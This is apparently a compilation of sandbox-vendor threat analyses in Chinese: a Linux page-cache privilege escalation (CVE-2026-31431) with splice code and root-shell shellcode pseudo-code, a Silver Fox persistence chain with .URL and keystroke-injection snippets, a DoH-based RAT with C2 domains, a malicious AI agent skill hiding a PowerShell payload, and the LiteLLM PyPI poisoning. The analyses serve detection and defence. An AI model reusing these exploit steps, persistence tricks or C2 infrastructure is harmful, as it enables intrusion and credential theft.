优化前：src → [用户数据页]      dst → [输出缓冲页]
优化后：src = dst → [用户数据页 + 输出缓冲页，链在一起]

当用户通过 splice()将/usr/bin/su的缓存页喂入 AF_ALG socket 时，内核的af_alg_sendmsg路径调用iov_iter_get_pages()直接获取struct page *指针，并用sg_set_page()插入 scatterlist，再通过sg_chain()追加到dst 末尾。

authencesn 算法在处理 ESN 时，需要写入 dst[assoclen + cryptlen] 位置。由于 scatterlist 已链式连接，写指针自然越过攻击者控制的缓冲区，滑入 su 的缓存页，实现 4 字节任意写入。

5. splice() 零拷贝的“双刃剑”

普通 read() + write()：
  磁盘 → 页缓存 → 用户缓冲区 → 内核缓冲区          （两次拷贝）
splice()：
  磁盘 → 页缓存 ----------------------→ 目标fd    （零拷贝）
                  直接传递页面引用

攻击者利用 splice 的逻辑示意：

python
r_fd, w_fd = os.pipe()
os.splice(su_fd, w_fd, 4096)   # su 的页缓存页进入 pipe
os.splice(r_fd, alg_fd, 4096)  # 页面引用送入 AF_ALG socket

6. setuid 授权与页缓存执行的矛盾

当内核处理 execve("/usr/bin/su") 时，分两步走：

步骤 1：检查 suid 权限 ← 读取磁盘 inode 的文件属性（st_mode）  ✓ 合法
步骤 2：加载并执行代码 ← 读取页缓存中的 ELF 内容               ✗ 已被污染

磁盘上的 su 文件属性完好无损，suid 位依然存在，内核合法地将进程 euid 提升为 0。但步骤 B 加载的却是已被 Copy Fail 替换过的页缓存版本。内核从未意识到这两步之间存在矛盾，因为它没有机制去校验“授权的 suid 程序”和“从页缓存加载的代码”是否一致。

7. shellcode 替换内容

攻击者通过反复 4 字节写入 shellcode 到目标位置，植入的 shellcode 大致等价于：

setuid(0);
setgid(0);
execve("/bin/sh", NULL, NULL);

当 execve("/usr/bin/su") 被调用后，CPU 入口点直接指向这段代码，在 euid=0 上下文中执行 root shell，整个 PAM 认证栈与 /etc/shadow 读取逻辑均未运行。

天穹沙箱具备基于行为序列的多阶段行为关联分析能力，能够有效检出 CVE-2026-31431 的漏洞触发（PoC）及利用（Exp）。

Ubuntu 18.04 x86_64

天穹沙箱 Ubuntu 18.04 x86_64 环境捕获到完整的 AF_ALG + splice 攻击链如图 2 所示。样本首先打开 su 文件获取其文件描述符，随后创建 AF_ALG 套接字并绑定至 aead 加密模式，同时设置加密认证算法为 authencesn(hmac(sha256),cbc(aes))。接着，样本通过 pipe 与 splice 的组合操作，将 su 文件的页缓存传递给 AF_ALG 套接字，并利用 authencesn 模板的逻辑漏洞将控制数据写入页缓存，最终实现本地提权。
样本执行过程调用和创建子进程的逻辑关系如图 3 所示。

UOS 20 x86_64

在 UOS 20 x86_64 环境中，天穹沙箱同样通过多阶段行为关联分析捕获到了 setuid 页缓存篡改尝试，规则命中率 100%。

投递样本时，系统类型选择信创，分析系统选择 UOS 20 Desktop x86-64，如图 4 所示。分析配置支持自定义配置命令行参数，在命令行参数输入框中填写执行参数即可。

恶意文件（MD5）

de1d2a9e44ba05f083a40a3fa9530411
cde0721a815d8d2a8e37e291a972e538
7d5f66c7332a4f929e99380f3f496b5d

报告链接报告链接（Ubuntu18）：

https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=8fc905197ef2ced24fbd7eb7304aafef&sk=66904386

报告链接（UOS20）：

https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=0825c6fe383cfd823f6d6e9f9503781e&sk=55540319

• https://xint.io/blog/copy-fail-linux-distributions

• https://copy.fail/

• https://github.com/theori-io/copy-fail-CVE-2026-31431

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

天穹沙箱近期捕获并深度分析了一类具备环境自适应能力的高级恶意样本。

天穹沙箱近期捕获并深度分析了一类具备环境自适应能力的高级恶意样本。这些样本在初始执行阶段会主动探测系统是否安装 360sd.exe 或 ZhuDongFangYu.exe，并根据探测结果动态切换攻击路径：

策略一（检测到安全软件）：采用 .URL 热键快捷方式 + 文件关联劫持 + 模拟按键触发的组合链，通过终止并重启 explorer.exe 完成隐蔽投递，最终将载荷精准释放至开机启动项。

策略二（载荷执行与C2通信）：无论通过何种路径投递，最终均会利用“白加黑”技术加载 sgfeedbackhelper.exe 与 HWSignature.dll，在内存中反射执行 Shellcode，并直连 C2 服务器 206.238.180[.]192。

策略一攻击链全程使用系统白名单组件（explorer.exe、7z.exe），通过多层间接执行规避行为监控，最终将恶意载荷静默植入用户启动项。本文详细拆解该攻击链的技术细节。

• 样本名： DingDing64x_SETUP_DD_192.exe

• SHA1： dd5d5f25c4ec060065ebc8a5795cff92ac32ddf3

• 文件类型： EXE

• 文件大小： 31.31 MB (32828416 bytes)

• 家族归属：银狐

• 策略二分析报告链接：

  https://sandbox.qianxin.com/tq/report/toViewReport.dorid=21cf3efa2e40f35eede8cd611147a041&sk=52479977)

为了躲避安全软件的查杀，攻击者放弃了传统的“直接运行病毒”模式，转而采用 “借力打力” 的策略。整个攻击过程就像一次精心策划的 “接力赛”，如图 1 所示。

1. 部署隐形传送门：攻击者在用户环境释放一个特殊的 .URL 文件。当系统或用户无意中触发它时，它会利用 Windows 内置的跳转协议，将执行权悄悄传递给另一个 .lnk 快捷方式文件。

2. 篡改“默认打开方式”：攻击者提前在系统后台动手脚，将某种自定义文件类型的“打开命令”替换为解压指令。当快捷方式被触发时，系统会“乖乖地”调用压缩工具执行操作，而不是报错。

3. 精准“空投”至开机目录：攻击者利用压缩工具的默认解压特性，配合精心设置的工作目录，让恶意快捷方式被完整解压到电脑的 Startup（开机启动项）文件夹中。

4. 静默潜伏：用户下次开机或重启资源管理器时，该快捷方式会自动运行，完成最终的恶意载荷加载。

核心手法拆解

本次攻击最危险的地方在于，全程使用的都是系统自带或常见的合法程序，没有调用任何可疑的恶意代码。

手法一：特制 .URL 文件充当“协议路由器”

普通用户常把 .URL 当作网页书签。但攻击者编写的 .URL 文件中隐藏了 file:/// 本地路径跳转指令。配合特定的系统标识符，它能欺骗 Windows 资源管理器，使其像打开网页一样，平滑跳转到本地另一个恶意快捷方式。由于它只是纯文本，且格式完全符合微软规范，传统杀毒软件很难将其识别为威胁。

样本在 C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\ 目录下创建 SVPC.URL 文件，内容如下：

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[InternetShortcut]
URL=file:///C:\Program Files\SogouInput\15.11.0.2620\2p2WTGnE\2p2WTGnE.lnk
IDList=
HotKey=1147

技术要点：

1. CLSID声明：{000214A0-0000-0000-C000-000000000046} 为 Shell Link Object 标识，使系统按快捷方式逻辑解析。

2. 协议跳转：file:/// 协议指向本地 .lnk 文件，实现二次跳转。

3. HotKey=1147（0x47B）对应 Alt+F12，即为该快捷方式设置了一个全局热键，当检测到 Alt+F12 组合键被按下时，会立即执行预设的 URL 链接，实现快速访问功能。

手法二：巧用压缩工具特性，实现“指哪打哪”

攻击者没有使用复杂的脚本，而是利用了 7z.exe 的一个基础特性：如果不指定解压路径，它会默认在“当前工作目录”下解压。攻击者在后台偷偷将工作目录切换到用户目录，而压缩包内部只记录了相对路径 Microsoft\Windows\Start Menu\Programs\Startup\。两者结合，恶意文件就像装了导航一样，精准降落在开机自启文件夹，且对普通用户完全透明。

快捷方式（2p2WTGnE.lnk）的结构如下：
• 目标程序："C:\Program Files\SogouInput\15.11.0.2620\RaYimlPT\7z.exe"
• 执行参数：x "C:\Program Files\SogouInput\15.11.0.2620\RaYimlPT\RaYimlPT.zip"
• 起始位置（工作目录）：C:\Users\<User>\AppData\Roaming

RaYimlPT.zip 压缩包内存储的是相对路径而非绝对路径：

RaYimlPT.zip 内容结构：
└── Microsoft/
    └── Windows/
        └── Start Menu/
            └── Programs/
                └── Startup/
                    └── FaCveHBxNRaYimlPT.lnkXnOsgIDx

由于本次解压未显式指定输出目录，7-Zip 默认以当前工作目录作为解压基路径。在展开压缩包时，系统会自动将基路径与包内相对路径进行拼接，最终落盘至 %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\。该路径恰好对应当前用户的系统“启动”文件夹，属于 Windows 原生的开机自启持久化目录。

实际解压路径= 工作目录(CWD) + 压缩包内相对路径
= %AppData%\Roaming\ 
+ Microsoft\Windows\Start Menu\Programs\Startup\
= %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

样本通过代码模拟按下 Alt + F12 快捷键。系统识别到该组合键后，会自动执行预先绑定的网址（URL）打开或调用流程，全程无需用户交互。

keybd_event(VK_MENU, 0, 0, 0); // 按下ALT
keybd_event(VK_F12, 0, 0, 0); // 按下F12
keybd_event(VK_F12, 0, KEYEVENTF_KEYUP, 0); // 释放F12
keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0); // 释放ALT

手法三：劫持系统“文件关联”，借壳执行

该手法利用 Windows 系统 “文件类型-默认程序” 关联机制实现隐蔽加载。攻击者在注册表中伪造了特定后缀（.lnkXnOsgIDx / .FaCveHBxN）的打开规则，将其 shell\open\command 指向合法组件。系统重启时，explorer.exe 自动遍历启动目录，尝试执行 FaCveHBxNRaYimlPT.lnkXnOsgIDx。系统依据注册表关联将其识别为常规文件打开操作，从而放行并触发预设命令，最终静默拉起 C:\Program Files\SogouInput\15.11.0.2620\RaYimlPT\sgfeedbackhelper.exe。该过程依托系统原生行为掩护执行链，有效规避基于进程名或哈希的传统拦截策略。

无论通过策略一投递至 Startup，还是直接释放，后续执行逻辑完全一致：

• 目录伪装与白加黑

  样本在目标主机释放后续载荷至 C:\Program Files\SogouInput\15.11.0.2620\<8位随机字符串>\，例如：C:\Program Files\SogouInput\15.11.0.2620\r9TV40qr\。

  该目录下包含：

sgfeedbackhelper.exe：输入法官方反馈组件（合法签名白程序）
HWSignature.dll：攻击者构造的恶意 DLL

当 sgfeedbackhelper.exe 启动时，Windows DLL 搜索顺序优先加载当前目录下的同名或依赖 DLL。恶意 HWSignature.dll 被成功劫持加载，这是典型的白加黑利用，如图 2 所示。

• 内存 Shellcode 执行与 C2 通信

  内存执行链：动态加载当前目录下的加密 PeLoader 载荷，采用无文件落地技术（Fileless Execution）在内存中解密并注入执行。

  家族溯源：载荷行为特征命中天穹沙箱内置检测规则，确认为 “银狐” 恶意软件家族，如图 3 所示。

  C2 通信：Shellcode 直接通过硬编码 IP 或域名与攻击者 C2 服务器建立通信隧道，实现持久化远程控制。

  

  图3 威胁配置信息

恶意文件（MD5）

c5e622b8c1213357610e40688625430b DingDing64x_SETUP_DD_192.exe
b1f13ebdec32a30c560f5ab2798040e5 2026.04.15----最新名单公示.exe.x64.exe

恶意文件 IOC

206.238.180[.]192:6666
adbufrd[.]cn

报告链接策略二分析报告链接：

https://sandbox.qianxin.com/tq/report/toViewReport.dorid=21cf3efa2e40f35eede8cd611147a041&sk=52479977)

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

近期，天穹沙箱团队在日常样本分析工作中收到用户反馈的内网攻击样本，发现其具备高度复杂的攻击链，并且使用了极具隐蔽性的 C&C 通信方式，以下将详细拆解样本初始伪装、内存解密以及隐蔽通信的完整过程。

• 样本名： OneDrive.exe

• SHA1： e31b0a79ab7d95542d2adff12bd4a322d8c0b036

• 文件类型： EXE

• 文件大小： 24.60 MB (25789952 bytes)

• 报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f1d5891c2de3e55c0a0d740e172cdded&sk=32236387

阶段一：初始伪装

该样本源码基于著名 PDF 阅读器 SumatraPDF 二次开发，用以伪装成正常的 OneDrive 客户端程序，诱骗用户下载并执行。样本启动后，首先会释放 soc.exe 和 OneDrive.dll 两个文件。其中 soc.exe 是具备 Kaspersky Lab 合法签名的白工具，OneDrive.dll 为正常无签名 OneDrive 组件，样本利用该工具执行以下命令将伪装的 OneDrive 组件注册为系统服务，进一步混淆视听。

soc.exe run run-cmd cmd.exe /c regsvr32.exe /s C:\Users\lichao\AppData\Local\OneDrive.dll

阶段二：内存解密

随后，内存解密并执行长度为 5,489,897 字节的 shellcode，其核心功能是内存加载一个使用 UPX 打包压缩的 PE 文件，全程避免在磁盘留下可执行文件痕迹。

阶段三：隐蔽通信

在内存中展开运行的 payload 是使用 golang 开发的 RAT 木马。该木马的 C&C 通信方式极度隐蔽，采用 DNS over HTTPS（DoH） 协议进行通信，将指令与数据隐藏在正常的 HTTPS 流量中，通过与 dns.alidns.com 的通信过程掩盖真实的通信流量。

注： 被加载的内存 PE 需要加载至预期基址 0x400000，否则会出现重定位问题，loader 阶段若尝试分配 0x400000 地址失败，会二次分配任意地址，但基于任意地址的后续解密执行操作均会导致样本运行时崩溃。

样本利用 DoH 协议的隐蔽特性与 C&C 服务器进行通信，发送加密指令并接收响应，从而实现远程控制与数据窃取等恶意行为。天穹沙箱凭借其深度流量解密能力，成功捕获并解析了该样本的 DoH 通信流量，提取了其中的指令与数据。

提取的指令控制域名如下：

eq5q2qfyosi3y5zlbcsv2b22y5fcacaabtaaaaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
neq5q2qfyosi3y2lylucv2b22y5fcacaaa4acaaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
neq5q2qfyosi32f2x54uvo53z7iq.ns1.famc[.]clinic
neq5q2qfyosi32aclpmjz6w24jrq.ns1.famc[.]clinic
neq5q2qfyosi3y4qtq7br2b22y5feab7abu6kgyaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
neq5q2qfyosi3y7x7dnrr2b22y5feab7acqoigyaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
neq5q2qfyosi3y5brimtr2b22y5fcacaad7qgaaaaeaaaaabaaaaaiaaaaadaob.xhaytozdggq4diyjugjstmmrvmu3wkmjygi4damrrg5tdkmq.ns1.famc[.]clinic
neq5q2qfyosi32cs3dybnrd5pyba.ns1.famc[.]clinic
neq5q2qfyosi32hvdjv5qzr6voga.ns1.famc[.]clinic
neq5q2qfyosi32fw3wrsxgr7z2uq.ns1.famc[.]clinic
neq5q2qfyosi32bpnzrtuwlip4ka.ns1.famc[.]clinic
neq5q2qfyosi32du7t6lii7uskcq.ns1.famc[.]clinic
neq5q2qfyosi32gva5kaxpcjmaoq.ns1.famc[.]clinic
neq5q2qfyosi32an32ijnslsnaoa.ns1.famc[.]clinic
32gim4decfwhlyzvqnwsvpb452wvcacaaajdwaaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
32gim4decfwhly5a7rdsvpb452wvcacaadntwaaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
32gim4decfwhly3qm2esvpb452wvcacaabxd2aaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
32gim4decfwhl2amwqwzue47yrsa.ns1.famc[.]clinic
32gim4decfwhly3lei4rrpb452wveab7aavr6haaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhly34psvbrpb452wveab7abrb4haaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhly3kpxttrpb452wvcacaaczt2aaaaeaaaaabaaaaaiaaaaadaob.xhaytozdggq4diyjugjstmmrvmu3wkmjygi4damrrg5tdkmq.ns1.famc[.]clinic
32gim4decfwhl2fiuirqx2aqsnga.ns1.famc[.]clinic
32gim4decfwhly2m7jtdrpb452wvcacaaced4aaaaeaaaaabaaaaaiaaaaadaob.xhaytozdggq4diyjugjstmmrvmu3wkmjygi4damrrg5tdkmq.ns1.famc[.]clinic
32gim4decfwhl2enlrqzt46szj5q.ns1.famc[.]clinic
32gim4decfwhl2c7znun7d7p37wa.ns1.famc[.]clinic
32gim4decfwhl2h5b2lq7bby67ca.ns1.famc[.]clinic
32gim4decfwhl2dmrf3ojd2bcatq.ns1.famc[.]clinic
neq5q2qfyosi32cqul2tbhor3xvq.ns1.famc[.]clinic
neq5q2qfyosi32cv5g7wa6aqrfpa.ns1.famc[.]clinic
neq5q2qfyosi3y34twbbr2b22y5feab7adrrihaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhl2hvchqewmcgaqma.ns1.famc[.]clinic
neq5q2qfyosi32ags5vfoerlvyta.ns1.famc[.]clinic
32gim4decfwhl2ge6wny4q26qd3a.ns1.famc[.]clinic
neq5q2qfyosi32ccqqv6n7gkq7cq.ns1.famc[.]clinic
32gim4decfwhl2htmqegbpgn2nka.ns1.famc[.]clinic
neq5q2qfyosi32gpuxu6fa6ymiyq.ns1.famc[.]clinic
32gim4decfwhl2eqdkkwxna3nniq.ns1.famc[.]clinic
32gim4decfwhl2dyyxxl3inypieq.ns1.famc[.]clinic
32gim4decfwhly5uadmbrpb452wveab7acmechaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhly3nc4jbrpb452wveab7acgtghaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhly7rgt2brpb452wveab7adsdkhaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhly24owyrrpb452wveab7acjtuhaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhlyynveibzpb452wvcacaaawwaaaaaiaaaaacaaaaabaaaaagg33.omy.ns1.famc[.]clinic
neq5q2qfyosi32d3vtrnwtjjtmhq.ns1.famc[.]clinic
32gim4decfwhl2bpe7xygqmcd2na.ns1.famc[.]clinic
32gim4decfwhl2di5pe3wemnat2q.ns1.famc[.]clinic
32gim4decfwhlyzfwkxrrpb452wveab7abluehaaaiaaaaadaaaaaaaaaaaa.ns1.famc[.]clinic
32gim4decfwhly3izbxbzpb452wvcacaabrweaaaayaaaaadaaaaabaaaaaceor.qpu.ns1.famc[.]clinic
32gim4decfwhly4b3ngilpb452wvcacaabrweaaaamaaaaadaaaaa3iaaaagg33.omzbqcaaapmreszbchiycyisjonbw63tomvrxiir2mzqwy43ffqrfmzlsnfthss.3fperduircfqrfi4bchirgi33ieiwceqlemrzceorceiwceutfnvqxe2zchirce.lbckn2gc5dvomrduztbnrzwklbcjrxwgylmjficeorcge.ns1.famc[.]clinic
32gim4decfwhly3zawgilpb452wvcacaabrweaaaaqaaaaadaaaaa3iaaaadalr.qfyzc4mjveiwcevltmvze4ylnmurduiseivjuwvcpkawuerrrgjgdar24lrwgsy.3imfxselbcjbxxg5comfwwkir2ejceku2lkrhvalkciyytetbqi4rcyismn5rwc.5djn5xceorceiwcet3tjzqw2zjchirho2lomrxxo427me.ns1.famc[.]clinic
32gim4decfwhly425nkilpb452wvcacaabrweaaaauaaaaadaaaaa3iaaaag2zb.wgqrcyisqojxwgzltonhgc3lfei5ce43dfzsxqzjopa3diltfpbsselbckbuw4z.2dnbswg22unfwwkir2gawcettpkn2g64tfei5gmylmonssyison5cgs43qnrqxs.ir2mzqwy43ffqre2ylyinxw43rchiycyison53ug33ony.ns1.famc[.]clinic
32gim4decfwhl2e35noabvsosmva.ns1.famc[.]clinic
32gim4decfwhl2hexenetephiupq.ns1.famc[.]clinic
32gim4decfwhly6luhmylpb452wvcacaacsgeaaaauaaaaadaaaaa3iaaaag2zb.wgqrcyisqojxwgzltonhgc3lfei5ce43dfzsxqzjopa3diltfpbsselbckbuw4z.2dnbswg22unfwwkir2gawcettpkn2g64tfei5gmylmonssyison5cgs43qnrqxs.ir2mzqwy43ffqre2ylyinxw43rchiycyison53ug33ony.ns1.famc[.]clinic
32gim4decfwhly6xhtvylpb452wvcacaacsgeaaaamaaaaadaaaaa3iaaaagg33.omzbqcaaapmreszbchiycyisjonbw63tomvrxiir2mzqwy43ffqrfmzlsnfthss.3fperduircfqrfi4bchirgi33ieiwceqlemrzceorceiwceutfnvqxe2zchirce.lbckn2gc5dvomrduztbnrzwklbcjrxwgylmjficeorcge.ns1.famc[.]clinic
32gim4decfwhl2besoytdrhshnrq.ns1.famc[.]clinic
32gim4decfwhl2hf3lmapgv2yona.ns1.famc[.]clinic
32gim4decfwhl2g62xepkxpr222q.ns1.famc[.]clinic
32gim4decfwhl2fbtmlauu6fdksq.ns1.famc[.]clinic
32gim4decfwhly3ycsmrrpb452wveab7adwuihaaamaaaaaeaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly5opqlsv4meijjfcacaaakggaaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
c3nunitkaul2l2enbvbklxtoyp7q.ns1.famc[.]clinic
c3nunitkaul2ly4gwtcrr4meijjfeab7adpukhaaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly73k3utr4meijjfcacaad2ggaaaaeaaaaabaaaaaiaaaaadooj.xgzswin3ehbrdcm3dgi4wcyruguzdmnrvmi3tqzbzgyzwimi.ns1.famc[.]clinic
c3nunitkaul2l2hcumpobkigdqsa.ns1.famc[.]clinic
c3nunitkaul2l2dtrzpj6imwig3q.ns1.famc[.]clinic
c3nunitkaul2l2f3myrz7o4ubguq.ns1.famc[.]clinic
c3nunitkaul2l2botmopmv7a3i2q.ns1.famc[.]clinic
c3nunitkaul2l2dqo7wcjpejtj6a.ns1.famc[.]clinic
neq5q2qfyosi32dt6po72rcwjn3q.ns1.famc[.]clinic
c3nunitkaul2l2bmrfketnugysba.ns1.famc[.]clinic
c3nunitkaul2l2dbm3xbziuxpqea.ns1.famc[.]clinic
c3nunitkaul2ly3mdzmbr4meijjfeab7ab6gehaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly52obpbr4meijjfeab7acrfshaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly5ubxqbr4meijjfeab7aa4vuhaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly2fow5br4meijjfeab7abtvwhaaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly5c52qrr4meijjfeab7aawf2haaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2ly3hpi6br4meijjfeab7acev6haaaeaaaaacaaaaaaaaaaaa.ns1.famc[.]clinic
c3nunitkaul2lyyijovrz4meijjfcacaaahyeaaaaiaaaaacaaaaabaaaaag2yl.jny.ns1.famc[.]clinic
x5pcj5rx6umczy2swkxcuoklqfrvcacaaahyeaaaaaaaaaaaaaaaaeqaaaaakaa.aaa2c4ojogmcqaaaagqxdslrt.ns1.famc[.]clinic
c3nunitkaul2l2edu6qjytcww4tq.ns1.famc[.]clinic
x5pcj5rx6umcz2hwtnprspkqtuyq.ns1.famc[.]clinic
c3nunitkaul2l2gh7typqouglhbq.ns1.famc[.]clinic
x5pcj5rx6umcz2ehdzinxhziuwea.ns1.famc[.]clinic
x5pcj5rx6umcz2arevpw5sjwrniq.ns1.famc[.]clinic
x5pcj5rx6umczy2eig5rqoklqfrveab7acswkhaaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
x5pcj5rx6umczyylce4bqoklqfrveab7adogihaaaaaaaaabaaaaaaaaaaaa.ns1.famc[.]clinic
x5pcj5rx6umczyzpgpzdqoklqfrvcacaadeiiaaaaeaaaaabaaaaaiaaaaadooj.xgzswin3ehbrdcm3dgi4wcyruguzdmnrvmi3tqzbzgyzwimi.ns1.famc[.]clinic
x5pcj5rx6umcz2aepgzyly3cb55a.ns1.famc[.]clinic
x5pcj5rx6umcz2emsbjitplu7ffa.ns1.famc[.]clinic
c3nunitkaul2l2bqv2xbchdfcc5q.ns1.famc[.]clinic
x5pcj5rx6umcz2fngfp7d2hre7ma.ns1.famc[.]clinic

截至发稿时，上述指令控制域名尚未注册，推测攻击者可能在后续阶段注册这些域名以继续进行攻击活动。

DNS over HTTPS（缩写：DoH）是一种经由 HTTPS 协议进行的远程域名系统（DNS）解析协议。该方法旨在防止网络中间人对 DNS 数据进行窃听和操纵，利用 HTTPS 协议加密 DoH 客户端和 DoH 服务器（递归解析器）之间的数据，以提高用户的隐私和安全性。

GET 方法报文

:method = GET
:scheme = https
:authority = dnsserver.example.net
:path = /dns-query?dns=AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB
accept = application/dns-message

POST 方法报文

:method = POST
:scheme = https
:authority = dnsserver.example.net
:path = /dns-query
accept = application/dns-message
content-type = application/dns-message
content-length = 33
<33 bytes represented by the following hex encoding>
00 00 01 00 00 01 00 00  00 00 00 00 03 77 77 77
07 65 78 61 6d 70 6c 65  03 63 6f 6d 00 00 01 00
01

协议详情请参阅 RFC-8484 文档。

恶意文件（MD5）

d807fa4935124f8695e47006e123aca8 OneDrive.exe
1aae5fcd62c5c6d5af8157638e236767 soc.exe
281a38a42b7a7601e9ccf394de9aa5f2 OneDrive.dll

恶意文件IOC

[*].ns1.famc[.]clinic 

报告链接

分析报告：

https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f1d5891c2de3e55c0a0d740e172cdded&sk=32236387

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

天穹沙箱团队针对该智能体的安全风险展开深入分析，并推出了针对 OpenClaw 的运行分析环境，助力用户全面评估其安全风险，及时发现潜在威胁，保障设备与数据安全，安全“养虾”。

• 样本名： weather.zip

• SHA1： 4b55b19d040d643b6a760ca0940d2764b7632a8f

• 文件类型： ZIP (SKILL file)

• 文件大小： 2.83 KB

• 报告链接：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&sk=57008976

为系统化评估 OpenClaw 智能体的安全风险，天穹沙箱团队基于 Windows 11 x86-64 系统搭建分析环境，模拟用户在本地部署与使用该智能体的实际场景。分析环境配置如下：

天穹沙箱系统 OpenClaw 分析环境选择步骤如图 1 所示：

上传样本后，使用默认环境配置，静态分析识别 SKILL 文件后系统会自动使用 OpenClaw 环境进行分析，或者手动选择 Windows 11 x86-64 系统进行分析。

针对 SKILL 样本的安全风险评估，天穹沙箱团队依托全链路行为深度建模与动态分析能力，对 SKILL 样本进行了静态检测与动态检测，从多维度对样本进行研判，有效提升了对此类高级威胁的检出能力与响应效率。

静态检测

利用天穹智能体安全分析平台的静态分析功能，对 SKILL 样本进行全面的代码审计与恶意行为扫描，尝试识别其中存在的恶意指令与潜在风险点，如图 2 所示；

上图展示了天穹智能体安全分析平台对 weather-data-fetcher 技能样本执行的深度静态审计报告。尽管该技能元数据伪装成正常的天气查询工具，但平台通过代码审计精准捕获了其核心脚本 scripts/weather.py 中的恶意行为。检测结果显示综合风险等级为 [危险]，具体揭示了攻击者利用 Base64 与 PowerShell 双重编码技术隐藏载荷，并通过 os.system 绕过正常逻辑执行内存中 Gzip 压缩的恶意代码，构成典型的远程代码执行（RCE） 威胁。该案例充分验证了平台在识别隐蔽恶意指令、解析混淆代码以及评估智能体潜在风险点方面的核心安全能力。

为确证静态扫描结果的真实性，平台将转入动态分析阶段，利用 OpenClaw 框架生成高风险交互提示词。这些提示词专门设计用于触发 weather-data-fetcher 技能中的恶意代码执行路径，如图 3 所示。通过在受控沙箱中运行这些提示词，观察技能是否会产生预期的恶意行为（如内存代码执行、异常外联等），从而量化风险等级，并为后续的防御策略提供具体的行为特征指标（IOCs）。

动态检测

该恶意 SKILL 样本一经调用，OpenClaw 会立即执行其中的恶意指令，利用 PowerShell 反射加载恶意载荷，实现远程命令执行，进而下载并执行更多恶意程序，最终导致设备被控、数据泄露等严重安全事件。天穹沙箱系统通过全链路行为深度建模与动态分析能力，成功捕获并解析了该样本从初始调用、恶意指令执行、到最终远程控制的整个攻击过程，精准识别了其反调试、环境探测、权限提升等恶意行为，并完整提取了各阶段解密后的恶意载荷，为安全人员深入分析 OpenClaw 智能体的攻击战术、技术细节与危害影响提供了全面、清晰的技术视角，显著提升了对此类高级威胁的识别能力。

进程调用关系如图 4 所示：

动态威胁检出如图 5 所示：

恶意文件（MD5）

5a44617d7df9926762b16e2a90b23e8f        weather.zip
033ffdfbd70006988a097ba033c4676b        weather.py
65284f7a942aa60a8a4e2c6ea5ceb119        SKILL.md

报告链接

分析报告：https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=82b28536e64a7041a22fdbf1d66b2205&sk=57008976

天穹智能分析平台（联系我们申请账号）：https://sandbox.qianxin.com

跳转微信打开

2026年3月24日，作为AI开发核心枢纽的 litellm 网关遭遇供应链投毒攻击，大量使用者的密钥与敏感信息被窃取，再次暴露出当前 AI 供应链体系的安全隐患。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

1. LiteLLM被投毒事件回顾

1.1 LiteLLM简介及攻击回顾

LiteLLM 作为 AI 网关，能够代理 100 多种大语言模型（LLM）的 API，被广泛应用于 AI 编程与服务编排场景。目前其在 GitHub 上拥有超过 4 万 Star，在 PyPI 的月下载量也超过 9600 万次。

2026 年 3 月 24 日，LiteLLM 在 PyPI 上遭遇供应链投毒攻击，1.82.7 与 1.82.8 两个版本被植入恶意代码。攻击代码会自动窃取受害者机器中的多类敏感凭据，包括 SSH 密钥、AWS/GCP/Azure 云服务凭据以及 Kubernetes Token 等。目前相关恶意版本已被官方移除。

1.2 恶意代码中的bug导致攻击露出马脚

此次投毒事件最早由 FutureSearch 发现并上报 PyPI，随后相关恶意版本被迅速下架，整体存活时间约为 5 小时。FutureSearch 在其博客中披露了事件细节[1]，而此次攻击的暴露，恰恰源于攻击者代码中的一个逻辑缺陷。

